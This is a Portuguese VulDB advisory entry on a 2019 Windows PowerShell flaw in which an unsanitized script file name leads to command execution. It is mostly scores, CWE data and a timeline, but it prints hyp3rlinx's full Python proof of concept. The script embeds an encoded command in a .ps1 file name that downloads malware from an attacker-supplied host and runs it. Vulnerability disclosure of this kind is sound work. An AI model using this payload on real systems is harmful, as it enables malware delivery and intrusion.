Microsoft Windows PowerShell Semicolon Elevação de Privilégios

CVSS Meta Pontuação TemporáriaPreço atual do exploit (≈)Nota de Interesse CTI
5.7$0-$5k0.00

Sumárioinformação

Uma vulnerabilidade, que foi classificada como crítico, foi encontrada em Microsoft Windows. A função afetada é desconhecida do componente PowerShell. A manipulação com uma entrada desconhecida leva a Elevação de Privilégios. O ataque pode ser levado a cabo através da rede. Além do mais, um exploit está disponível. Recomenda-se a desactivação do componente afectado.

Detalhesinformação

Uma vulnerabilidade, que foi classificada como crítico, foi encontrada em Microsoft Windows. A função afetada é desconhecida do componente PowerShell. A manipulação com uma entrada desconhecida leva a Elevação de Privilégios. Usar a CWE para declarar o problema leva à CWE-94. A fraqueza foi publicada 01/08/2019 por John Page (hyp3rlinx) como Aconselhamento (Site). O boletim está compartilhado para download em hyp3rlinx.altervista.org. A divulgação pública foi coordenada com o vendedor.

O ataque pode ser levado a cabo através da rede. Detalhes técnicos não estão disponíveis. Esta vulnerabilidade tem popularidade abaixo da média. Além do mais, um exploit está disponível. O exploit está disponível publicamente e pode ser explorado. No momento, o preço atual de um exploit pode estar em torno de USD $0-$5k atualmente. A técnica de ataque utilizada por esta edição é T1059 de acordo com MITRE ATT&CK.

É declarado como prova de conceito. O exploit está disponível para download em hyp3rlinx.altervista.org. A vulnerabilidade foi tratada como um exploit zero-day não público por pelo menos 12 dias. Como 0-day, o valor estimado no submundo era aproximadamente $25k-$100k. O exploit utiliza o seguinte código:

from base64 import b64encode
import argparse,sys
#Windows PowerShell - Unsantized Filename Command Execution Vulnerability PoC
#Create ".ps1" files with Embedded commands to download, save and execute malware within a PowerShell Script Filename.
#Expects hostname/ip-addr of web-server housing the exploit.
#By hyp3rlinx
#Apparition Security
#====================

def parse_args(): parser.add_argument("-i", "--ipaddress", help="Remote server to download and exec malware from.") parser.add_argument("-m", "--local_malware_name", help="Name for the Malware after downloading.") parser.add_argument("-r", "--remote_malware_name", help="Malwares name on remote server.") return parser.parse_args()

def main(args): PSEmbedFilenameMalwr="" if args.ipaddress: PSEmbedFilenameMalwr = "powershell iwr "+args.ipaddress+"/"+args.remote_malware_name+" -O %CD%\"+args.local_malware_name+" ;sleep -s 2;start "+args.local_malware_name return b64encode(PSEmbedFilenameMalwr.encode('UTF-16LE'))

def create_file(payload): f=open("Test;PowerShell -e "+payload+";2.ps1", "w") f.write("Write-Output 'Have a nice day!'") f.close()

if _name_=="_main_": parser = argparse.ArgumentParser() PSCmds = main(parse_args())

if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) create_file(PSCmds) print "PowerShell - Unsantized Filename Command Execution File created!" print "By hyp3rlinx"

Recomenda-se a desactivação do componente afectado.

Produtoinformação

Tipo

Fabricante

Nome

Licença

Site

CPE 2.3informação

CPE 2.2informação

Vídeo

CVSSv4informação

VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

CVSSv3informação

VulDB Meta Pontuação Base: 6.3
VulDB Meta Pontuação Temporária: 5.7

VulDB Pontuação Base: 6.3
VulDB Pontuação Temporária: 5.7
VulDB Vetor: 🔍
VulDB Fiabilidade: 🔍

CVSSv2informação

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexidadeAutenticaçãoConfidencialidadeIntegridadeDisponibilidade
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear
DesbloquearDesbloquearDesbloquearDesbloquearDesbloquearDesbloquear

VulDB Pontuação Base: 🔍
VulDB Pontuação Temporária: 🔍
VulDB Fiabilidade: 🔍

Exploraçãoinformação

Classe: Elevação de Privilégios
CWE: CWE-94 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍

Físico: Não
Local: Não
Remoto: Sim

Disponibilidade: 🔍
Acesso: Público
Estado: Prova de conceito
Autor: John Page (hyp3rlinx)
Descarregar: 🔍
Tendência de preços: 🔍
Estimativa de preço atual: 🔍

0-DayDesbloquearDesbloquearDesbloquearDesbloquear
HojeDesbloquearDesbloquearDesbloquearDesbloquear

Inteligência de ameaçasinformação

Interesse: 🔍
Atores ativos: 🔍
Grupos APT ativos: 🔍

Contramedidasinformação

Recomendação: Desativar
Estado: 🔍

Tempo 0-dia: 🔍
Tempo de atraso de exploração: 🔍

Linha do tempoinformação

20/07/2019 🔍
23/07/2019 +3 dias 🔍
01/08/2019 +9 dias 🔍
01/08/2019 +0 dias 🔍
06/08/2019 +5 dias 🔍
21/07/2020 +350 dias 🔍

Fontesinformação

Fabricante: microsoft.com
Produto: microsoft.com

Aconselhamento: hyp3rlinx.altervista.org
Pessoa: John Page (hyp3rlinx)
Estado: Não definido
Coordenado: 🔍

GCVE (VulDB): GCVE-100-139527
scip Labs: https://www.scip.ch/en/?labs.20161013

Entradainformação

Criado: 06/08/2019 07h42
Atualizado: 21/07/2020 11h24
Ajustamentos: 06/08/2019 07h42 (53), 21/07/2020 11h24 (2)
Completo: 🔍
Submissor: hyp3rlinx
Cache ID: 216::103

Submeterinformação

Aceite

  • Submeter #80: Microsoft Windows PowerShell / Unsanitized Filename Command Execution (de hyp3rlinx)

Duplicado

Be aware that VulDB is the high quality source for vulnerability data.

Discussão

Ainda sem comentários. Idiomas: pt + es + en.

Por favor, inicie sessão para comentar.

Do you need the next level of professionalism?

Upgrade your account now!